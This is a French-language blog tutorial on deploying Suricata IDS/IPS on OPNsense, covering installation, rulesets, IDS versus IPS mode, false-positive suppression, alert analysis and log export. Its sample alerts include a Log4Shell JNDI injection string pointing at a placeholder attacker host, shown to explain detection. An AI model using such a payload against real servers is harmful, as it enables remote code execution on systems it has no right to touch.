FR

Suricata IDS/IPS avec OPNsense

Détection d'intrusion et Deep Packet Inspection

Série Stack OPNsense — Billet 7/8

Mars 2026 · botum.ca

Table des matières

Article complet : blog.botum.ca/opnsense-suricata-ids-ips-dpi

1. CrowdSec vs Suricata : deux approches complémentaires

Dans la série Stack OPNsense, le Billet 5 couvrait CrowdSec — un système IDS/IPS collaboratif qui partage les IOCs (indicateurs de compromission) dans le cloud. Suricata joue un rôle différent mais complémentaire : c'est un moteur d'inspection réseau local qui analyse chaque paquet en temps réel.

CrowdSec : bloque les IPs malveillantes connues grâce à une intelligence collective. Réactif, basé sur la réputation. Efficace contre les attaques de masse.

Suricata : inspecte le contenu des paquets réseau (Deep Packet Inspection). Détecte les exploits, les scans furtifs, les communications malware C2, même depuis des IPs inconnues. Opère en mode IDS (alertes) ou IPS (blocage).

Les deux ensemble forment une défense en profondeur : CrowdSec bloque ce qui est connu, Suricata détecte ce qui est comportementalement suspect.

2. Installer le plugin Suricata sur OPNsense

Suricata s'installe directement depuis l'interface OPNsense via le gestionnaire de plugins.

Prérequis

• OPNsense 23.x ou supérieur

• RAM minimale recommandée : 4 Go (8 Go pour les environnements avec trafic élevé)

• CPU avec au moins 2 cœurs dédiés

• Accès admin OPNsense

Installation

1. Naviguer vers **System > Firmware > Plugins**
2. Rechercher "suricata" dans la barre de recherche
3. Cliquer sur le bouton + à côté de **os-suricata**
4. Confirmer l'installation — OPNsense télécharge et installe le plugin
5. Rafraîchir la page — un nouveau menu **Services > Intrusion Detection** apparaît

Le plugin os-suricata intègre Suricata 6.x ou 7.x selon la version OPNsense.

3. Configurer les interfaces à surveiller

Suricata peut surveiller plusieurs interfaces simultanément. Sur mon infra BOTUM avec les VLANs définis au Billet 2, je surveille toutes les interfaces actives.

Configuration de base

Naviguer vers **Services > Intrusion Detection > Administration**

• **Enabled :** cocher pour activer Suricata

• **IPS mode :** laisser décoché pour commencer en mode IDS seulement

• **Promiscuous mode :** cocher pour capturer tout le trafic sur l'interface

• **Enable syslog alerts :** cocher pour intégrer aux logs OPNsense

• **Pattern matcher :** Hyperscan (si disponible) ou Aho-Corasick

Interfaces recommandées

```
# Interfaces à surveiller selon la topologie BOTUM :
WAN → trafic entrant Internet (priorité maximale)
LAN → trafic interne (détecte les mouvements latéraux)
OPT1/VLAN10 → VLAN Serveurs
OPT2/VLAN20 → VLAN IoT (équipements non fiables)

# Ne PAS surveiller :
LO (loopback) → générera des faux positifs
VPN WireGuard → trafic déjà chiffré/authentifié
```

4. Activer et gérer les rulesets

Les rulesets sont des ensembles de règles de détection. OPNsense/Suricata supporte plusieurs sources officielles et communautaires.

Onglet Download — Sources de règles

Naviguer vers **Services > Intrusion Detection > Administration > Download**

Activer les sources suivantes (cliquer Enable sur chacune) :

• **ET Open (Emerging Threats)** — règles gratuites haute qualité, mise à jour quotidienne. Couvre exploits, malware, C2, scans.

• **Abuse.ch URLhaus** — URLs de distribution de malware en temps réel.

• **Abuse.ch ThreatFox** — IOCs malware actifs (IPs, domaines, hashes).

• **ET Pro Telemetry Edition** — version gratuite limitée des règles pro Proofpoint.

• **OISF/Suricata Community** — règles communautaires maintenues par l'équipe Suricata.

Ne pas activer toutes les sources simultanément au départ — commencer avec ET Open + Abuse.ch URLhaus.

Mise à jour des règles

```
# Mise à jour manuelle depuis l'interface :
Services > Intrusion Detection > Administration > Download
Cliquer "Update and reload rules"

# Mise à jour automatique via cron OPNsense :
System > Settings > Cron
Ajouter tâche : "Update and reload intrusion detection rules"
Fréquence recommandée : 1x/jour (3h00 du matin)
```

5. Mode IDS vs mode IPS : détection ou prévention

Mode IDS (Intrusion Detection System) : Suricata analyse le trafic et génère des alertes, mais ne bloque rien. Idéal pour la phase de démarrage — permet d'observer les faux positifs avant de bloquer.

Mode IPS (Intrusion Prevention System) : Suricata bloque activement les paquets correspondant aux règles de type 'drop' ou 'reject'. Nécessite une configuration soignée pour ne pas bloquer du trafic légitime.

Activer le mode IPS

```
# Étape 1 : passer en IPS après 1-2 semaines de tuning IDS
Services > Intrusion Detection > Administration
IPS mode : cocher
```

```
Apply

# Étape 2 : vérifier les règles actives en mode drop
Services > Intrusion Detection > Rules
Filtrer par Action = "drop"
Désactiver les règles trop agressives

# Étape 3 : surveiller les logs après activation
Services > Intrusion Detection > Alerts
Vérifier qu'aucun trafic légitime n'est bloqué
```

Recommandation BOTUM : rester en mode IDS 14 jours, analyser les alertes, puis passer IPS.

6. Réduire les faux positifs

Les faux positifs sont inévitables en début de déploiement. Suricata peut alerter sur du trafic légitime : mises à jour Windows, certains CDN, outils de monitoring, etc.

Suppressions par règle

```
# Supprimer une règle spécifique :
Services > Intrusion Detection > Rules
Rechercher le SID concerné (ex: 2100498)
Cliquer sur la règle > Action > Disable

# Exemple : désactiver une règle trop bruyante
SID 2100498 : GPL ATTACK_RESPONSE id check returned root
→ Souvent faux positif sur des scripts de monitoring
```

Suppressions par adresse IP (whitelist)

```
# Ajouter une suppression :
Services > Intrusion Detection > Administration
Onglet Policy / Suppressions
Add suppression :
- Type : source ou destination
- IP : 192.168.10.0/24 (VLAN Serveurs)
- SID : laisser vide pour supprimer toutes règles pour cette IP

# Exemple pratique BOTUM :
Suppression du monitoring interne :
Source IP = 192.168.10.50 (serveur Uptime Kuma)
Destination : any
→ Évite les faux positifs des health checks
```

7. Analyser les alertes : scans, exploits, malware C2

Les alertes Suricata fournissent un contexte riche sur les menaces détectées. Voici des exemples typiques d'alertes réelles sur une infrastructure exposée.

Exemple 1 : Scan de ports

```
Alerte : ET SCAN Nmap Scripting Engine User-Agent Detect
```

```
SID : 2000545
Sévérité: Medium
Source : 185.220.101.42:54932
Dest : [WAN IP]:22
Proto : TCP
Action : Alert (IDS) ou Drop (IPS)

→ Indication : scan automatisé depuis un nœud Tor/proxy
→ Action recommandée : vérifier si l'IP est aussi dans CrowdSec
```

Exemple 2 : Tentative d'exploit

```
Alerte : ET WEB_SERVER Possible CVE-2021-44228 Log4j RCE
SID : 2034647
Sévérité: Critical
Source : 45.33.32.156:80
Dest : 192.168.20.15:8080 (serveur IoT)
Proto : TCP/HTTP
Payload : ${jndi:ldap://evil.attacker.com/exploit}

→ Tentative d'injection Log4Shell
→ Action : bloquer immédiatement, isoler l'hôte destination
```

Exemple 3 : Communication malware C2

```
Alerte : ET MALWARE Cobalt Strike Beacon
SID : 2027865
Sévérité: High
Source : 192.168.30.25 (VLAN Guest)
Dest : 162.55.201.180:443
Proto : TCP/TLS

→ Machine Guest tente de contacter un serveur C2 Cobalt Strike
→ Action immédiate : isoler la machine, analyser le disque
```

8. Intégration avec les logs OPNsense

Suricata s'intègre nativement avec le système de logs OPNsense et peut envoyer ses alertes vers des systèmes SIEM externes.

Logs locaux OPNsense

```
# Consulter les alertes Suricata :
Services > Intrusion Detection > Alerts
→ Interface web avec filtrage par sévérité, IP, SID

# Logs bruts sur le filesystem :
/var/log/suricata/eve.json ← format JSON structuré (complet)
/var/log/suricata/fast.log ← format texte rapide
/var/log/suricata/stats.log ← statistiques performance
```

Export vers Graylog / Elastic Stack

```
# Configurer l'export syslog vers SIEM :
```

```
System > Settings > Logging
Remote syslog server : 192.168.10.100:514
Log everything : cocher

# Format eve.json pour Filebeat/Logstash :
input {
file {
path => "/var/log/suricata/eve.json"
codec => "json"
type => "suricata"
}
}
filter {
if [type] == "suricata" {
date { match => ["timestamp", "ISO8601"] }
}
}
```

9. Prochaines étapes

Suricata est maintenant en place et surveille activement le trafic. La couche DPI vient compléter CrowdSec (Billet 5) et le NAC 802.1X (Billet 6) pour former une défense réseau multicouche.

Le **Billet 8** de la série couvrira **AdGuard Home** intégré à OPNsense : filtrage DNS, blocage de publicités et trackers à l'échelle du réseau, listes personnalisées, et statistiques DNS centralisées.

Article complet : blog.botum.ca/opnsense-suricata-ids-ips-dpi

Site web : www.botum.ca • contact@botum.ca